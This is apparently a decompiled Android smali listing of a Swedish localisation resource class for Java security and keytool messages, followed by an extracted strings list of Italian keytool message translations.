                                                                              2493const-string v3, "Webbadress f\u00f6r l\u00f6senord till nyckellager:"
                                                                              2494aput-object v3, v2, v5
                                                                              2495aput-object v2, v0, v1
                                                                              2496const/16 v1, 0x115
                                                                              2497new-array v2, v6, [Ljava/lang/Object;
                                                                              2499const-string v3, "invalid null input(s)"
                                                                              2500aput-object v3, v2, v4
                                                                              2502const-string v3, "ogiltiga null-indata"
                                                                              2503aput-object v3, v2, v5
                                                                              2504aput-object v2, v0, v1
                                                                              2505const/16 v1, 0x116
                                                                              2506new-array v2, v6, [Ljava/lang/Object;
                                                                              2508const-string v3, "actions can only be \'read\'"
                                                                              2509aput-object v3, v2, v4
                                                                              2511const-string v3, "funktioner kan endast \'l\u00e4sas\'"
                                                                              2512aput-object v3, v2, v5
                                                                              2513aput-object v2, v0, v1
                                                                              2514const/16 v1, 0x117
                                                                              2515new-array v2, v6, [Ljava/lang/Object;
                                                                              2517const-string v3, "permission name [name] syntax invalid: "
                                                                              2518aput-object v3, v2, v4
                                                                              2520const-string v3, "syntaxen f\u00f6r beh\u00f6righetsnamnet [{0}] \u00e4r ogiltig: "
                                                                              2521aput-object v3, v2, v5
                                                                              2522aput-object v2, v0, v1
                                                                              2523const/16 v1, 0x118
                                                                              2524new-array v2, v6, [Ljava/lang/Object;
                                                                              2526const-string v3, "Credential Class not followed by a Principal Class and Name"
                                                                              2527aput-object v3, v2, v4
                                                                              2529const-string v3, "Kreditivklassen f\u00f6ljs inte av principalklass eller principalnamn"
                                                                              2530aput-object v3, v2, v5
                                                                              2531aput-object v2, v0, v1
                                                                              2532const/16 v1, 0x119
                                                                              2533new-array v2, v6, [Ljava/lang/Object;
                                                                              2535const-string v3, "Principal Class not followed by a Principal Name"
                                                                              2536aput-object v3, v2, v4
                                                                              2538const-string v3, "Principalklassen f\u00f6ljs inte av n\u00e5got principalnamn"
                                                                              2539aput-object v3, v2, v5
                                                                              2540aput-object v2, v0, v1
                                                                              2541const/16 v1, 0x11a
                                                                              2542new-array v2, v6, [Ljava/lang/Object;
                                                                              2544const-string v3, "Principal Name must be surrounded by quotes"
                                                                              2545aput-object v3, v2, v4
                                                                              2547const-string v3, "Principalnamnet m\u00e5ste anges inom citattecken"
                                                                              2548aput-object v3, v2, v5
                                                                              2549aput-object v2, v0, v1
                                                                              2550const/16 v1, 0x11b
                                                                              2551new-array v2, v6, [Ljava/lang/Object;
                                                                              2553const-string v3, "Principal Name missing end quote"
                                                                              2554aput-object v3, v2, v4
                                                                              2556const-string v3, "Principalnamnet saknar avslutande citattecken"
                                                                              2557aput-object v3, v2, v5
                                                                              2558aput-object v2, v0, v1
                                                                              2559const/16 v1, 0x11c
                                                                              2560new-array v2, v6, [Ljava/lang/Object;
                                                                              2562const-string v3, "PrivateCredentialPermission Principal Class can not be a wildcard (*) value if Principal Name is not a wildcard (*) value"
                                                                              2563aput-object v3, v2, v4
                                                                              2565const-string v3, "V\u00e4rdet f\u00f6r principalklassen PrivateCredentialPermission kan inte ha n\u00e5got jokertecken (*) om principalnamnet inte anges med jokertecken (*)"
                                                                              2566aput-object v3, v2, v5
                                                                              2567aput-object v2, v0, v1
                                                                              2568const/16 v1, 0x11d
                                                                              2569new-array v2, v6, [Ljava/lang/Object;
                                                                              2571const-string v3, "CredOwner:\n\tPrincipal Class = class\n\tPrincipal Name = name"
                                                                              2572aput-object v3, v2, v4
                                                                              2574const-string v3, "CredOwner:\n\tPrincipalklass = {0}\n\tPrincipalnamn = {1}"
                                                                              2575aput-object v3, v2, v5
                                                                              2576aput-object v2, v0, v1
                                                                              2577const/16 v1, 0x11e
                                                                              2578new-array v2, v6, [Ljava/lang/Object;
                                                                              2580const-string v3, "provided null name"
                                                                              2581aput-object v3, v2, v4
                                                                              2583const-string v3, "gav null-namn"
                                                                              2584aput-object v3, v2, v5
                                                                              2585aput-object v2, v0, v1
                                                                              2586const/16 v1, 0x11f
                                                                              2587new-array v2, v6, [Ljava/lang/Object;
                                                                              2589const-string v3, "provided null keyword map"
                                                                              2590aput-object v3, v2, v4
                                                                              2592const-string v3, "nullnyckelordsmappning tillhandah\u00f6lls"
                                                                              2593aput-object v3, v2, v5
                                                                              2594aput-object v2, v0, v1
                                                                              2595const/16 v1, 0x120
                                                                              2596new-array v2, v6, [Ljava/lang/Object;
                                                                              2598const-string v3, "provided null OID map"
                                                                              2599aput-object v3, v2, v4
                                                                              2601const-string v3, "null-OID-mappning tillhandah\u00f6lls"
                                                                              2602aput-object v3, v2, v5
                                                                              2603aput-object v2, v0, v1
                                                                              2604const/16 v1, 0x121
                                                                              2605new-array v2, v6, [Ljava/lang/Object;
                                                                              2607const-string v3, "invalid null AccessControlContext provided"
                                                                              2608aput-object v3, v2, v4
                                                                              2610const-string v3, "ogiltigt null-AccessControlContext"
                                                                              2611aput-object v3, v2, v5
                                                                              2612aput-object v2, v0, v1
                                                                              2613const/16 v1, 0x122
                                                                              2614new-array v2, v6, [Ljava/lang/Object;
                                                                              2616const-string v3, "invalid null action provided"
                                                                              2617aput-object v3, v2, v4
                                                                              2619const-string v3, "ogiltig null-funktion"
                                                                              2620aput-object v3, v2, v5
                                                                              2621aput-object v2, v0, v1
                                                                              2622const/16 v1, 0x123
                                                                              2623new-array v2, v6, [Ljava/lang/Object;
                                                                              2625const-string v3, "invalid null Class provided"
                                                                              2626aput-object v3, v2, v4
                                                                              2628const-string v3, "ogiltig null-klass"
                                                                              2629aput-object v3, v2, v5
                                                                              2630aput-object v2, v0, v1
                                                                              2631const/16 v1, 0x124
                                                                              2632new-array v2, v6, [Ljava/lang/Object;
                                                                              2634const-string v3, "Subject:\n"
                                                                              2635aput-object v3, v2, v4
                                                                              2637const-string v3, "\u00c4rende:\n"
                                                                              2638aput-object v3, v2, v5
                                                                              2639aput-object v2, v0, v1
                                                                              2640const/16 v1, 0x125
                                                                              2641new-array v2, v6, [Ljava/lang/Object;
                                                                              2643const-string v3, "\tPrincipal: "
                                                                              2644aput-object v3, v2, v4
                                                                              2646const-string v3, "\tPrincipal: "
                                                                              2647aput-object v3, v2, v5
                                                                              2648aput-object v2, v0, v1
                                                                              2649const/16 v1, 0x126
                                                                              2650new-array v2, v6, [Ljava/lang/Object;
                                                                              2652const-string v3, "\tPublic Credential: "
                                                                              2653aput-object v3, v2, v4
                                                                              2655const-string v3, "\tOffentligt kreditiv: "
                                                                              2656aput-object v3, v2, v5
                                                                              2657aput-object v2, v0, v1
                                                                              2658const/16 v1, 0x127
                                                                              2659new-array v2, v6, [Ljava/lang/Object;
                                                                              2661const-string v3, "\tPrivate Credentials inaccessible\n"
                                                                              2662aput-object v3, v2, v4
                                                                              2664const-string v3, "\tPrivata kreditiv \u00e4r otillg\u00e4ngliga\n"
                                                                              2665aput-object v3, v2, v5
                                                                              2666aput-object v2, v0, v1
                                                                              2667const/16 v1, 0x128
                                                                              2668new-array v2, v6, [Ljava/lang/Object;
                                                                              2670const-string v3, "\tPrivate Credential: "
                                                                              2671aput-object v3, v2, v4
                                                                              2673const-string v3, "\tPrivata kreditiv: "
                                                                              2674aput-object v3, v2, v5
                                                                              2675aput-object v2, v0, v1
                                                                              2676const/16 v1, 0x129
                                                                              2677new-array v2, v6, [Ljava/lang/Object;
                                                                              2679const-string v3, "\tPrivate Credential inaccessible\n"
                                                                              2680aput-object v3, v2, v4
                                                                              2682const-string v3, "\tPrivata kreditiv \u00e4r otillg\u00e4ngliga\n"
                                                                              2683aput-object v3, v2, v5
                                                                              2684aput-object v2, v0, v1
                                                                              2685const/16 v1, 0x12a
                                                                              2686new-array v2, v6, [Ljava/lang/Object;
                                                                              2688const-string v3, "Subject is read-only"
                                                                              2689aput-object v3, v2, v4
                                                                              2691const-string v3, "\u00c4mnet \u00e4r skrivskyddat"
                                                                              2692aput-object v3, v2, v5
                                                                              2693aput-object v2, v0, v1
                                                                              2694const/16 v1, 0x12b
                                                                              2695new-array v2, v6, [Ljava/lang/Object;
                                                                              2697const-string v3, "attempting to add an object which is not an instance of java.security.Principal to a Subject\'s Principal Set"
                                                                              2698aput-object v3, v2, v4
                                                                              2700const-string v3, "f\u00f6rs\u00f6k att l\u00e4gga till ett objekt som inte \u00e4r en f\u00f6rekomst av java.security.Principal till en principalupps\u00e4ttning"
                                                                              2701aput-object v3, v2, v5
                                                                              2702aput-object v2, v0, v1
                                                                              2703const/16 v1, 0x12c
                                                                              2704new-array v2, v6, [Ljava/lang/Object;
                                                                              2706const-string v3, "attempting to add an object which is not an instance of class"
                                                                              2707aput-object v3, v2, v4
                                                                              2709const-string v3, "f\u00f6rs\u00f6ker l\u00e4gga till ett objekt som inte \u00e4r en f\u00f6rekomst av {0}"
                                                                              2710aput-object v3, v2, v5
                                                                              2711aput-object v2, v0, v1
                                                                              2712const/16 v1, 0x12d
                                                                              2713new-array v2, v6, [Ljava/lang/Object;
                                                                              2715const-string v3, "LoginModuleControlFlag: "
                                                                              2716aput-object v3, v2, v4
                                                                              2718const-string v3, "LoginModuleControlFlag: "
                                                                              2719aput-object v3, v2, v5
                                                                              2720aput-object v2, v0, v1
                                                                              2721const/16 v1, 0x12e
                                                                              2722new-array v2, v6, [Ljava/lang/Object;
                                                                              2724const-string v3, "Invalid null input: name"
                                                                              2725aput-object v3, v2, v4
                                                                              2727const-string v3, "Ogiltiga null-indata: namn"
                                                                              2728aput-object v3, v2, v5
                                                                              2729aput-object v2, v0, v1
                                                                              2730const/16 v1, 0x12f
                                                                              2731new-array v2, v6, [Ljava/lang/Object;
                                                                              2733const-string v3, "No LoginModules configured for name"
                                                                              2734aput-object v3, v2, v4
                                                                              2736const-string v3, "Inga inloggningsmoduler har konfigurerats f\u00f6r {0}"
                                                                              2737aput-object v3, v2, v5
                                                                              2738aput-object v2, v0, v1
                                                                              2739const/16 v1, 0x130
                                                                              2740new-array v2, v6, [Ljava/lang/Object;
                                                                              2742const-string v3, "invalid null Subject provided"
                                                                              2743aput-object v3, v2, v4
                                                                              2745const-string v3, "ogiltigt null-Subject"
                                                                              2746aput-object v3, v2, v5
                                                                              2747aput-object v2, v0, v1
                                                                              2748const/16 v1, 0x131
                                                                              2749new-array v2, v6, [Ljava/lang/Object;
                                                                              2751const-string v3, "invalid null CallbackHandler provided"
                                                                              2752aput-object v3, v2, v4
                                                                              2754const-string v3, "ogiltig null-CallbackHandler"
                                                                              2755aput-object v3, v2, v5
                                                                              2756aput-object v2, v0, v1
                                                                              2757const/16 v1, 0x132
                                                                              2758new-array v2, v6, [Ljava/lang/Object;
                                                                              2760const-string v3, "null subject - logout called before login"
                                                                              2761aput-object v3, v2, v4
                                                                              2763const-string v3, "null-subject - utloggning anropades f\u00f6re inloggning"
                                                                              2764aput-object v3, v2, v5
                                                                              2765aput-object v2, v0, v1
                                                                              2766const/16 v1, 0x133
                                                                              2767new-array v2, v6, [Ljava/lang/Object;
                                                                              2769const-string v3, "unable to instantiate LoginModule, module, because it does not provide a no-argument constructor"
                                                                              2770aput-object v3, v2, v4
                                                                              2772const-string v3, "det g\u00e5r inta att representera LoginModule, {0}, eftersom den inte tillhandah\u00e5ller n\u00e5gon argumentfri konstruktion"
                                                                              2773aput-object v3, v2, v5
                                                                              2774aput-object v2, v0, v1
                                                                              2775const/16 v1, 0x134
                                                                              2776new-array v2, v6, [Ljava/lang/Object;
                                                                              2778const-string v3, "unable to instantiate LoginModule"
                                                                              2779aput-object v3, v2, v4
                                                                              2781const-string v3, "det g\u00e5r inte att representera LoginModule"
                                                                              2782aput-object v3, v2, v5
                                                                              2783aput-object v2, v0, v1
                                                                              2784const/16 v1, 0x135
                                                                              2785new-array v2, v6, [Ljava/lang/Object;
                                                                              2787const-string v3, "unable to instantiate LoginModule: "
                                                                              2788aput-object v3, v2, v4
                                                                              2790const-string v3, "inloggningsmodulen kan inte skapas: "
                                                                              2791aput-object v3, v2, v5
                                                                              2792aput-object v2, v0, v1
                                                                              2793const/16 v1, 0x136
                                                                              2794new-array v2, v6, [Ljava/lang/Object;
                                                                              2796const-string v3, "unable to find LoginModule class: "
                                                                              2797aput-object v3, v2, v4
                                                                              2799const-string v3, "det g\u00e5r inte att hitta LoginModule-klassen: "
                                                                              2800aput-object v3, v2, v5
                                                                              2801aput-object v2, v0, v1
                                                                              2802const/16 v1, 0x137
                                                                              2803new-array v2, v6, [Ljava/lang/Object;
                                                                              2805const-string v3, "unable to access LoginModule: "
                                                                              2806aput-object v3, v2, v4
                                                                              2808const-string v3, "det g\u00e5r inte att komma \u00e5t LoginModule: "
                                                                              2809aput-object v3, v2, v5
                                                                              2810aput-object v2, v0, v1
                                                                              2811const/16 v1, 0x138
                                                                              2812new-array v2, v6, [Ljava/lang/Object;
                                                                              2814const-string v3, "Login Failure: all modules ignored"
                                                                              2815aput-object v3, v2, v4
                                                                              2817const-string v3, "Inloggningsfel: alla moduler ignoreras"
                                                                              2818aput-object v3, v2, v5
                                                                              2819aput-object v2, v0, v1
                                                                              2820const/16 v1, 0x139
                                                                              2821new-array v2, v6, [Ljava/lang/Object;
                                                                              2823const-string v3, "java.security.policy: error parsing policy:\n\tmessage"
                                                                              2824aput-object v3, v2, v4
                                                                              2826const-string v3, "java.security.policy: fel vid analys av {0}:\n\t{1}"
                                                                              2827aput-object v3, v2, v5
                                                                              2828aput-object v2, v0, v1
                                                                              2829const/16 v1, 0x13a
                                                                              2830new-array v2, v6, [Ljava/lang/Object;
                                                                              2832const-string v3, "java.security.policy: error adding Permission, perm:\n\tmessage"
                                                                              2833aput-object v3, v2, v4
                                                                              2835const-string v3, "java.security.policy: fel vid till\u00e4gg av beh\u00f6righet, {0}:\n\t{1}"
                                                                              2836aput-object v3, v2, v5
                                                                              2837aput-object v2, v0, v1
                                                                              2838const/16 v1, 0x13b
                                                                              2839new-array v2, v6, [Ljava/lang/Object;
                                                                              2841const-string v3, "java.security.policy: error adding Entry:\n\tmessage"
                                                                              2842aput-object v3, v2, v4
                                                                              2844const-string v3, "java.security.policy: fel vid till\u00e4gg av post:\n\t{0}"
                                                                              2845aput-object v3, v2, v5
                                                                              2846aput-object v2, v0, v1
                                                                              2847const/16 v1, 0x13c
                                                                              2848new-array v2, v6, [Ljava/lang/Object;
                                                                              2850const-string v3, "alias name not provided (pe.name)"
                                                                              2851aput-object v3, v2, v4
                                                                              2853const-string v3, "aliasnamn ej angivet ({0})"
                                                                              2854aput-object v3, v2, v5
                                                                              2855aput-object v2, v0, v1
                                                                              2856const/16 v1, 0x13d
                                                                              2857new-array v2, v6, [Ljava/lang/Object;
                                                                              2859const-string v3, "unable to perform substitution on alias, suffix"
                                                                              2860aput-object v3, v2, v4
                                                                              2862const-string v3, "kan ej ers\u00e4tta aliasnamn, {0}"
                                                                              2863aput-object v3, v2, v5
                                                                              2864aput-object v2, v0, v1
                                                                              2865const/16 v1, 0x13e
                                                                              2866new-array v2, v6, [Ljava/lang/Object;
                                                                              2868const-string v3, "substitution value, prefix, unsupported"
                                                                              2869aput-object v3, v2, v4
                                                                              2871const-string v3, "ers\u00e4ttningsv\u00e4rde, {0}, st\u00f6ds ej"
                                                                              2872aput-object v3, v2, v5
                                                                              2873aput-object v2, v0, v1
                                                                              2874const/16 v1, 0x13f
                                                                              2875new-array v2, v6, [Ljava/lang/Object;
                                                                              2877const-string v3, "("
                                                                              2878aput-object v3, v2, v4
                                                                              2880const-string v3, "("
                                                                              2881aput-object v3, v2, v5
                                                                              2882aput-object v2, v0, v1
                                                                              2883const/16 v1, 0x140
                                                                              2884new-array v2, v6, [Ljava/lang/Object;
                                                                              2886const-string v3, ")"
                                                                              2887aput-object v3, v2, v4
                                                                              2889const-string v3, ")"
                                                                              2890aput-object v3, v2, v5
                                                                              2891aput-object v2, v0, v1
                                                                              2892const/16 v1, 0x141
                                                                              2893new-array v2, v6, [Ljava/lang/Object;
                                                                              2895const-string v3, "type can\'t be null"
                                                                              2896aput-object v3, v2, v4
                                                                              2898const-string v3, "typen kan inte vara null"
                                                                              2899aput-object v3, v2, v5
                                                                              2900aput-object v2, v0, v1
                                                                              2901const/16 v1, 0x142
                                                                              2902new-array v2, v6, [Ljava/lang/Object;
                                                                              2904const-string v3, "keystorePasswordURL can not be specified without also specifying keystore"
                                                                              2905aput-object v3, v2, v4
                                                                              2907const-string v3, "det g\u00e5r inte att ange keystorePasswordURL utan att ange keystore"
                                                                              2908aput-object v3, v2, v5
                                                                              2909aput-object v2, v0, v1
                                                                              2910const/16 v1, 0x143
                                                                              2911new-array v2, v6, [Ljava/lang/Object;
                                                                              2913const-string v3, "expected keystore type"
                                                                              2914aput-object v3, v2, v4
                                                                              2916const-string v3, "f\u00f6rv\u00e4ntad keystore-typ"
                                                                              2917aput-object v3, v2, v5
                                                                              2918aput-object v2, v0, v1
                                                                              2919const/16 v1, 0x144
                                                                              2920new-array v2, v6, [Ljava/lang/Object;
                                                                              2922const-string v3, "expected keystore provider"
                                                                              2923aput-object v3, v2, v4
                                                                              2925const-string v3, "keystore-leverant\u00f6r f\u00f6rv\u00e4ntades"
                                                                              2926aput-object v3, v2, v5
                                                                              2927aput-object v2, v0, v1
                                                                              2928const/16 v1, 0x145
                                                                              2929new-array v2, v6, [Ljava/lang/Object;
                                                                              2931const-string v3, "multiple Codebase expressions"
                                                                              2932aput-object v3, v2, v4
                                                                              2934const-string v3, "flera Codebase-uttryck"
                                                                              2935aput-object v3, v2, v5
                                                                              2936aput-object v2, v0, v1
                                                                              2937const/16 v1, 0x146
                                                                              2938new-array v2, v6, [Ljava/lang/Object;
                                                                              2940const-string v3, "multiple SignedBy expressions"
                                                                              2941aput-object v3, v2, v4
                                                                              2943const-string v3, "flera SignedBy-uttryck"
                                                                              2944aput-object v3, v2, v5
                                                                              2945aput-object v2, v0, v1
                                                                              2946const/16 v1, 0x147
                                                                              2947new-array v2, v6, [Ljava/lang/Object;
                                                                              2949const-string v3, "SignedBy has empty alias"
                                                                              2950aput-object v3, v2, v4
                                                                              2952const-string v3, "SignedBy har ett tomt alias"
                                                                              2953aput-object v3, v2, v5
                                                                              2954aput-object v2, v0, v1
                                                                              2955const/16 v1, 0x148
                                                                              2956new-array v2, v6, [Ljava/lang/Object;
                                                                              2958const-string v3, "can not specify Principal with a wildcard class without a wildcard name"
                                                                              2959aput-object v3, v2, v4
                                                                              2961const-string v3, "Det g\u00e5r inte att specificera principal genom att ange jokertecken f\u00f6r klass utan att samtidigt ange jokertecken f\u00f6r namn"
                                                                              2962aput-object v3, v2, v5
                                                                              2963aput-object v2, v0, v1
                                                                              2964const/16 v1, 0x149
                                                                              2965new-array v2, v6, [Ljava/lang/Object;
                                                                              2967const-string v3, "expected codeBase or SignedBy or Principal"
                                                                              2968aput-object v3, v2, v4
                                                                              2970const-string v3, "f\u00f6rv\u00e4ntad codeBase eller SignedBy eller Principal"
                                                                              2971aput-object v3, v2, v5
                                                                              2972aput-object v2, v0, v1
                                                                              2973const/16 v1, 0x14a
                                                                              2974new-array v2, v6, [Ljava/lang/Object;
                                                                              2976const-string v3, "expected permission entry"
                                                                              2977aput-object v3, v2, v4
                                                                              2979const-string v3, "f\u00f6rv\u00e4ntade beh\u00f6righetspost"
                                                                              2980aput-object v3, v2, v5
                                                                              2981aput-object v2, v0, v1
                                                                              2982const/16 v1, 0x14b
                                                                              2983new-array v2, v6, [Ljava/lang/Object;
                                                                              2985const-string v3, "number "
                                                                              2986aput-object v3, v2, v4
                                                                              2988const-string v3, "antal "
                                                                              2989aput-object v3, v2, v5
                                                                              2990aput-object v2, v0, v1
                                                                              2991const/16 v1, 0x14c
                                                                              2992new-array v2, v6, [Ljava/lang/Object;
                                                                              2994const-string v3, "expected [expect], read [end of file]"
                                                                              2995aput-object v3, v2, v4
                                                                              2997const-string v3, "f\u00f6rv\u00e4ntade [{0}], l\u00e4ste [end of file]"
                                                                              2998aput-object v3, v2, v5
                                                                              2999aput-object v2, v0, v1
                                                                              3000const/16 v1, 0x14d
                                                                              3001new-array v2, v6, [Ljava/lang/Object;
                                                                              3003const-string v3, "expected [;], read [end of file]"
                                                                              3004aput-object v3, v2, v4
                                                                              3006const-string v3, "f\u00f6rv\u00e4ntade [;], l\u00e4ste [end of file]"
                                                                              3007aput-object v3, v2, v5
                                                                              3008aput-object v2, v0, v1
                                                                              3009const/16 v1, 0x14e
                                                                              3010new-array v2, v6, [Ljava/lang/Object;
                                                                              3012const-string v3, "line number: msg"
                                                                              3013aput-object v3, v2, v4
                                                                              3015const-string v3, "rad {0}: {1}"
                                                                              3016aput-object v3, v2, v5
                                                                              3017aput-object v2, v0, v1
                                                                              3018const/16 v1, 0x14f
                                                                              3019new-array v2, v6, [Ljava/lang/Object;
                                                                              3021const-string v3, "line number: expected [expect], found [actual]"
                                                                              3022aput-object v3, v2, v4
                                                                              3024const-string v3, "rad {0}: f\u00f6rv\u00e4ntade [{1}], hittade [{2}]"
                                                                              3025aput-object v3, v2, v5
                                                                              3026aput-object v2, v0, v1
                                                                              3027const/16 v1, 0x150
                                                                              3028new-array v2, v6, [Ljava/lang/Object;
                                                                              3030const-string v3, "null principalClass or principalName"
                                                                              3031aput-object v3, v2, v4
                                                                              3033const-string v3, "null-principalClass eller -principalName"
                                                                              3034aput-object v3, v2, v5
                                                                              3035aput-object v2, v0, v1
                                                                              3036const/16 v1, 0x151
                                                                              3037new-array v2, v6, [Ljava/lang/Object;
                                                                              3039const-string v3, "PKCS11 Token [providerName] Password: "
                                                                              3040aput-object v3, v2, v4
                                                                              3042const-string v3, "PKCS11-pollett [{0}] L\u00f6senord: "
                                                                              3043aput-object v3, v2, v5
                                                                              3044aput-object v2, v0, v1
                                                                              3045const/16 v1, 0x152
                                                                              3046new-array v2, v6, [Ljava/lang/Object;
                                                                              3048const-string v3, "unable to instantiate Subject-based policy"
                                                                              3049aput-object v3, v2, v4
                                                                              3051const-string v3, "den Subject-baserade policyn kan inte skapas"
                                                                              3052aput-object v3, v2, v5
                                                                              3053aput-object v2, v0, v1
                                                                              3054sput-object v0, Lcom/android/leech/patch/apksigner/sun/security/util/Resources_sv;->contents:[[Ljava/lang/Object;
                                                                              3055return-void
                                                                              APIs
                                                                              Strings
                                                                              • ,
                                                                              • \n
                                                                              • *******************************************
                                                                              • *******************************************\n\n
                                                                              • keytool error:
                                                                              • Errore keytool:
                                                                              • Illegal option:
                                                                              • Opzione non valida:
                                                                              • Try keytool -help
                                                                              • Provare keytool -help
                                                                              • Command option <flag> needs an argument.
                                                                              • \u00c8 necessario specificare un argomento per l\'opzione di comando {0}.
                                                                              • Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified <command> value.
                                                                              • Avviso: non sono supportate password diverse di chiave e di archivio per i KeyStore PKCS12. Il valore {0} specificato dall\'utente verr\u00e0 ignorato.
                                                                              • -keystore must be NONE if -storetype is {0}
                                                                              • Se -storetype \u00e8 impostato su {0}, -keystore deve essere impostato su NONE
                                                                              • Too may retries, program terminated
                                                                              • Il numero dei tentativi consentiti \u00e8 stato superato. Il programma verr\u00e0 chiuso.
                                                                              • -storepasswd and -keypasswd commands not supported if -storetype is {0}
                                                                              • Se -storetype \u00e8 impostato su {0}, i comandi -storepasswd e -keypasswd non sono supportati
                                                                              • -keypasswd commands not supported if -storetype is PKCS12
                                                                              • Se -storetype \u00e8 impostato su PKCS12 i comandi -keypasswd non vengono supportati
                                                                              • -keypass and -new can not be specified if -storetype is {0}
                                                                              • Se -storetype \u00e8 impostato su {0}, non \u00e8 possibile specificare un valore per -keypass e -new
                                                                              • if -protected is specified, then -storepass, -keypass, and -new must not be specified
                                                                              • Se \u00e8 specificata l\'opzione -protected, le opzioni -storepass, -keypass e -new non possono essere specificate
                                                                              • if -srcprotected is specified, then -srcstorepass and -srckeypass must not be specified
                                                                              • Se viene specificato -srcprotected, -srcstorepass e -srckeypass non dovranno essere specificati
                                                                              • if keystore is not password protected, then -storepass, -keypass, and -new must not be specified
                                                                              • Se il file keystore non \u00e8 protetto da password, non deve essere specificato alcun valore per -storepass, -keypass e -new
                                                                              • if source keystore is not password protected, then -srcstorepass and -srckeypass must not be specified
                                                                              • Se il file keystore non \u00e8 protetto da password, non deve essere specificato alcun valore per -srcstorepass e -srckeypass
                                                                              • Validity must be greater than zero
                                                                              • La validit\u00e0 deve essere maggiore di zero
                                                                              • provName not a provider
                                                                              • {0} non \u00e8 un provider
                                                                              • Usage error: no command provided
                                                                              • Errore di utilizzo: nessun comando specificato
                                                                              • Usage error, <arg> is not a legal command
                                                                              • Errore di utilizzo. {0} non \u00e8 un comando valido.
                                                                              • Source keystore file exists, but is empty:
                                                                              • Il file keystore di origine esiste, ma \u00e8 vuoto:
                                                                              • Please specify -srckeystore
                                                                              • Specificare -srckeystore
                                                                              • Must not specify both -v and -rfc with \'list\' command
                                                                              • Impossibile specificare sia -v sia -rfc con il comando \'list\'
                                                                              • Key password must be at least 6 characters
                                                                              • La password della chiave deve contenere almeno 6 caratteri
                                                                              • New password must be at least 6 characters
                                                                              • La nuova password deve contenere almeno 6 caratteri
                                                                              • Keystore file exists, but is empty:
                                                                              • Il file keystore esiste ma \u00e8 vuoto:
                                                                              • Keystore file does not exist:
                                                                              • Il file keystore non esiste:
                                                                              • Must specify destination alias
                                                                              • \u00c8 necessario specificare l\'alias di destinazione
                                                                              • Must specify alias
                                                                              • \u00c8 necessario specificare l\'alias
                                                                              • Keystore password must be at least 6 characters
                                                                              • La password del keystore deve contenere almeno 6 caratteri
                                                                              • Enter keystore password:
                                                                              • Immettere la password del keystore:
                                                                              • Enter source keystore password:
                                                                              • Immettere la password del keystore di origine:
                                                                              • Enter destination keystore password:
                                                                              • Immettere la password del keystore di destinazione:
                                                                              • Keystore password is too short - must be at least 6 characters
                                                                              • La password del keystore \u00e8 troppo corta - deve contenere almeno 6 caratteri
                                                                              • Unknown Entry Type
                                                                              • Tipo di voce sconosciuto
                                                                              • Too many failures. Alias not changed
                                                                              • Si sono verificati troppi errori. L\'alias non \u00e8 stato modificato.
                                                                              • Entry for alias <alias> successfully imported.
                                                                              • La voce dell\'alias {0} \u00e8 stata importata.
                                                                              • Entry for alias <alias> not imported.
                                                                              • La voce dell\'alias {0} non \u00e8 stata importata.
                                                                              • Problem importing entry for alias <alias>: <exception>.\nEntry for alias <alias> not imported.
                                                                              • Si \u00e8 verificato un problema durante l\'importazione della voce dell\'alias {0}: {1}.\nLa voce dell\'alias {0} non \u00e8 stata importata.
                                                                              • Import command completed: <ok> entries successfully imported, <fail> entries failed or cancelled
                                                                              • Importazione completata: {0} voci importate, {1} voci non importate o annullate
                                                                              • Warning: Overwriting existing alias <alias> in destination keystore
                                                                              • Avviso: sovrascrittura in corso dell\'alias {0} nel file keystore di destinazione
                                                                              • Existing entry alias <alias> exists, overwrite? [no]:
                                                                              • La voce dell\'alias {0} esiste gi\u00e0. Sovrascrivere? [no]:
                                                                              • Too many failures - try later
                                                                              • Troppi errori - riprovare
                                                                              • Certification request stored in file <filename>
                                                                              • La richiesta di certificazione \u00e8 memorizzata nel file <{0}>
                                                                              • Submit this to your CA
                                                                              • Inviarla alla propria CA
                                                                              • if alias not specified, destalias, srckeypass, and destkeypass must not be specified
                                                                              • Se l\'alias non \u00e8 specificato, destalias, srckeypass e destkeypass non dovranno essere specificati
                                                                              • Certificate stored in file <filename>
                                                                              • Il certificato \u00e8 memorizzato nel file <{0}>
                                                                              • Certificate reply was installed in keystore
                                                                              • La risposta del certificato \u00e8 stata installata nel keystore
                                                                              • Certificate reply was not installed in keystore
                                                                              • La risposta del certificato non \u00e8 stata installata nel keystore
                                                                              • Certificate was added to keystore
                                                                              • Il certificato \u00e8 stato aggiunto al keystore
                                                                              • Certificate was not added to keystore
                                                                              • Il certificato non \u00e8 stato aggiunto al keystore
                                                                              • [Storing ksfname]
                                                                              • [Memorizzazione di {0}] in corso
                                                                              • alias has no public key (certificate)
                                                                              • {0} non dispone di chiave pubblica (certificato)
                                                                              • Cannot derive signature algorithm
                                                                              • Impossibile derivare l\'algoritmo di firma
                                                                              • Alias <alias> does not exist
                                                                              • L\'\'alias <{0}> non esiste
                                                                              • Alias <alias> has no certificate
                                                                              • L\'\'alias <{0}> non dispone di certificato
                                                                              • Key pair not generated, alias <alias> already exists
                                                                              • Non \u00e8 stata generata la coppia di chiavi, l\'\'alias <{0}> \u00e8 gi\u00e0 esistente
                                                                              • Generating keysize bit keyAlgName key pair and self-signed certificate (sigAlgName) with a validity of validality days\n\tfor: x500Name
                                                                              • Generazione in corso di una coppia di chiavi {1} da {0} bit e di un certificato autofirmato ({2}) con una validit\u00e0 di {3} giorni\n\tper: {4}
                                                                              • Enter key password for <alias>
                                                                              • Immettere la password della chiave per <{0}>
                                                                              • \t(RETURN if same as keystore password):
                                                                              • \t(INVIO se corrisponde alla password del keystore):
                                                                              • Key password is too short - must be at least 6 characters
                                                                              • La password della chiave \u00e8 troppo corta - deve contenere almeno 6 caratteri
                                                                              • Too many failures - key not added to keystore
                                                                              • Troppi errori - la chiave non \u00e8 stata aggiunta al keystore
                                                                              • Destination alias <dest> already exists
                                                                              • L\'\'alias di destinazione <{0}> \u00e8 gi\u00e0 esistente
                                                                              • Password is too short - must be at least 6 characters
                                                                              • La password \u00e8 troppo corta - deve contenere almeno 6 caratteri
                                                                              • Too many failures. Key entry not cloned
                                                                              • Troppi errori. Il valore della chiave non \u00e8 stato clonato
                                                                              • key password for <alias>
                                                                              • password della chiave per <{0}>
                                                                              • Keystore entry for <id.getName()> already exists
                                                                              • L\'\'entry nel keystore per <{0}> \u00e8 gi\u00e0 esistente
                                                                              • Creating keystore entry for <id.getName()> ...
                                                                              • Creazione dell\'\'entry nel keystore per <{0}> in corso...
                                                                              • No entries from identity database added
                                                                              • Nessuna entry aggiunta dal database di identit\u00e0
                                                                              • Alias name: alias
                                                                              • Nome alias: {0}
